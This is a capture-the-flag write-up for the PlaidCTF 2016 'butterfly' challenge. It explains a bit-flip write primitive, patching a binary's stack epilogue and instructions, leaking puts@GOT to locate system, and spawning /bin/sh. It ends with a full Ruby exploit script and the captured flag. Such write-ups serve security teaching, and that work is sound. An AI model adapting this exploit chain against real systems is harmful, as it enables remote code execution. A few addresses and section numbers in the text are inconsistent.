1. Introduction
  2. Understanding Byte Mutation
  3. Writing Anything
  4. Controlling Program Flow
  5. Exploitation

0. Introduction

This pwnable challange from PlaidCTF 2016 consists of a binary, which is an “ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped”

The main routine is pretty small, and mostly consist of an fgets and a two mprotect calls, allowing you to mark any memory location as readable/writable/executable. While looking for potential vulnerabilities, I thought that the “fgets” call looks intersting. But after noticing that the number of bytes it reads (0x32) is less than the size of the current stack frame, I realized that standard buffer overflow is out of the question.

The next thing I looked for are signs of user-controllable writes. Luckily, “mov byte [ss:rbp], cl” provides us a single-byte write primitive that we can partially control, although somewhat limited, which we’ll go into more detail in the next section.

000000000040080f 80E307                          and        bl, 0x7
0000000000400812 41BE01000000                    mov        r14d, 0x1
0000000000400818 B801000000                      mov        eax, 0x1
000000000040081d 88D9                            mov        cl, bl
000000000040081f D3E0                            shl        eax, cl
0000000000400821 0FB64D00                        movzx      ecx, byte [ss:rbp]
0000000000400825 31C1                            xor        ecx, eax
0000000000400827 884D00                          mov        byte [ss:rbp], cl

1. Understanding Byte Mutation

Based on the code snippet above, we can see that a byte can be mutated through an XOR of itself and byte 0x1, shifted by a user controllable amount (although only limited to 0..7). The ruby function to calculate valid mutations is shown below.

def valid_mutations(byte)
  (0..7).map { |i| (byte ^ (0x1 << i)) }
end

As an example, byte 48, which represents the ASCII string ‘0’, can only be changed in the following bytes

1.9.3-p194 :005 > valid_mutations(48)
 => [49, 50, 52, 56, 32, 16, 112, 176]

2. Single-byte Write Anything/Anywhere

Sure, we can only mutate a byte to a limited number of output on a single run. But nothing stops us from mutating the mutation again. For example, to change byte 48 to 24, we can mutate 48 into 56 first. Then mutate 56 into 24.

1.9.3-p194 :011 > valid_mutations(56)
 => [57, 58, 60, 48, 40, 24, 120, 184] 

In order to achieve a write anything to anywhere, we basically need a function that generates a sequence of valid mutations that we can validly send over to the server one at a time until the target byte is changed into our desired byte. All we need now is to write the code for find_correct_mutation_sequence(from_byte, to_byte)

def find_correct_mutation_sequence(from_byte, to_byte)
    sequence_list = [[from_byte]]
    generation = 1
    max_generation = 10

    while generation <= max_generation
      found = sequence_list.find { |sequence| sequence.last == to_byte }
      break if found

      generation += 1
      sequence_list = mutate_sequence(sequence_list)
    end

    found
  end

3. Controlling Program Flow

Now that we have a single-byte write anything/anywhere (including code segment), and a convenient mprotect (read/write/execute), we can change the program to behave the way we want as long we don’t accidentally corrupt opcode instructions.

However, we still have another problem. The user controlled write happens only once, after which the program exits. Ideally, we want the main function to run in an endless loop.

Our stack size is around 0x68, and fgets reads in 0x32 bytes. However, if we change the stack cleanup epilogue instruction below such that it moves that stack pointer to somewhere in our fgets buffer (where we can specify our own return address), program flow redirection is achieved.

- add        rsp, 0x48
+ add        rsp, 0x8

By reducing the 0x48 into 0x8, and specifying the return address to point back to the beginning of the main function, located at 0x400788, we now have a looping program that allows us to mutate program bytes infinite number of times.

1.9.3-p194 :012 > valid_mutations(0x48)
 => [73, 74, 76, 64, 88, 104, 8, 200]

4. Exploitation

All we need to do now is get our shell, which we can achieve by finding the system GOT entry, and have RDI register contain the address to “/bin/sh”

The system GOT can be calculated by leaking the puts@GOT and subtracing it by the difference in their offsets. To do that, we modify 0x400956 to 0x600cd0 (address of puts@GOT)

0000000000400840 BFd00c6000                      mov        edi, 0x600cd0       ; puts@GOT, argument "s" for method j_puts
0000000000400845 E8B6FDFFFF                      call       j_puts

After that, we can put “/bin/sh” in a fixed location, such as 0x400942, which originally contains “mprotect1”

000000000040086b BF42094000                      mov        edi, 0x400942       ; "/bin/sh", argument "s" for method j_perror, XREF=main+133

Then, in order to get 0x400914 into the RDI register, we can modify pop rbp into pop rdi

0000000000400869 5F                              pop        rdi
000000000040086a C3                              ret

Finally, we just need to send our payload containing the address of “/bin/sh” which will be poped into RDI, and our desired return address “system@GOT”

4. Final Code

The final code is shown below

require 'socket'
require 'pathname'

class Solver

  def initialize
    @socket = TCPSocket.new("butterfly.pwning.xxx",9999)
  end

  def run
    mprotect_1_addr = bin_sh_addr = 0x400942
    add_rsp_48_addr = 0x400863
    mov_was_it_worth_addr = 0x400841
    pop_rbp_addr = 0x400869
    any_string_addr = 0x400248

    puts "== Step 1: adjust stack pointer such that return address points to fgets buffer" 
    puts

    write_byte(add_rsp_48_addr, 0x48, 0x8)

    puts "== Step 2: leak puts@got"
    puts

    data = begin
            write_byte(mov_was_it_worth_addr     , 0x56, 0xd0)
            write_byte(mov_was_it_worth_addr + 1 , 0x09, 0x0c)
            write_byte(mov_was_it_worth_addr + 2 , 0x40, 0x60)
           end

    # ensures that data length is 8 bytes
    puts_got = data.split("\n").first.ljust(8,"\x00").unpack("Q").first
    system_got = puts_got - libc_system_offset

    puts "== Step 3: write /bin/sh into data section"
    puts

    write_string(mprotect_1_addr,"mprotect1", "/bin/sh")

    puts "== Step 4: Change pop rbp into pop rdi"
    puts

    write_byte(pop_rbp_addr,0x5d,0x5f)

    puts "== Step 5: Send our actual payload (contains system_got + bin/sh address)"
    puts

    mprotect_target  = encoded_mprotect_target(any_string_addr)
    middle           = "R" * 23
    middle          += [bin_sh_addr].pack("Q")   # will be used in 'pop rdi'
    return_addr      = [system_got].pack("Q")

    send(mprotect_target + middle + return_addr)
    puts "pwn.."
    interact
  end

  def interact
    while cmd = gets.strip
      if cmd.length > 0
        send(cmd)
        puts recv("")
      end
    end
  end

  def recv(expected = "", size = 2048)
    data = ""

    loop do
      data += @socket.recv(size)
      break if data.include?(expected)
    end

    data
  end

  def send(data)
    @socket.puts(data)
  end

  def valid_mutations(byte)
    (0..7).map { |i| (byte ^ (0x1 << i)) }
  end

  def valid_mutation_index(from_byte, to_byte)
    valid_mutations(from_byte).index(to_byte)
  end

  def mutation_index_chain(sequence)
    (0..sequence.length - 2).map do |i|
      valid_mutation_index(sequence[i], sequence[i + 1])
    end
  end

  def mutate_sequence(sequence_list)
    sequence_list.map do |sequence|
      byte = sequence.last
      mutations = valid_mutations(byte)
      mutations.map { |mutation| [sequence, mutation].flatten }
    end.reduce(:+)
  end

  def find_correct_mutation_sequence(from_byte, to_byte)
    sequence_list = [[from_byte]]
    generation = 1
    max_generation = 10

    while generation <= max_generation
      found = sequence_list.find { |sequence| sequence.last == to_byte }
      break if found

      generation += 1
      sequence_list = mutate_sequence(sequence_list)
    end

    found
  end

  def encoded_mprotect_target(address, xor_index = 0)
    sal = (address << 3)
    "0x" + (sal + xor_index).to_s(16)
  end

  def send_byte_mutation_payload(address, xor_index)
    main_begin_addr = 0x400788

    mprotect_target = encoded_mprotect_target(address, xor_index)
    middle          = "R" * (31)
    return_addr     = [main_begin_addr].pack("Q") #

    send(mprotect_target + middle + return_addr)
  end

  # A single-byte write anywhere primitive
  def write_byte(address, from_byte, to_byte)
    print "calculating byte mutation sequence for #{from_byte} -> #{to_byte} \t"
    sequence = find_correct_mutation_sequence(from_byte, to_byte)
    puts sequence.inspect

    data = ""

    mutation_index_chain(sequence).each do |xor_index|
      send_byte_mutation_payload(address, xor_index)
      data = recv("THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?\n") # flush buffer
    end

    data
  end

  def write_string(address, source, target)
    target.split("").each_with_index do |char, index|
      write_byte(address + index, source[index].ord, char.ord)
    end

    # null terminate string
    write_byte(address + target.length, source[target.length].ord, 0x00)
  end

  def libc_system_offset
    puts_offset   = 0x6fe30
    system_offset = 0x46640
    puts_offset - system_offset
  end


end

client = Solver.new
client.run

And finally, to get the flag

/bin/sh
ls -l
total 20
-rwxr-xr-x 1 root root    8328 Apr 15 18:26 butterfly
-r--r----- 1 root problem   28 Apr 15 18:28 flag
-rwxr-xr-x 1 root root     219 Apr 15 21:49 wrapper

cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}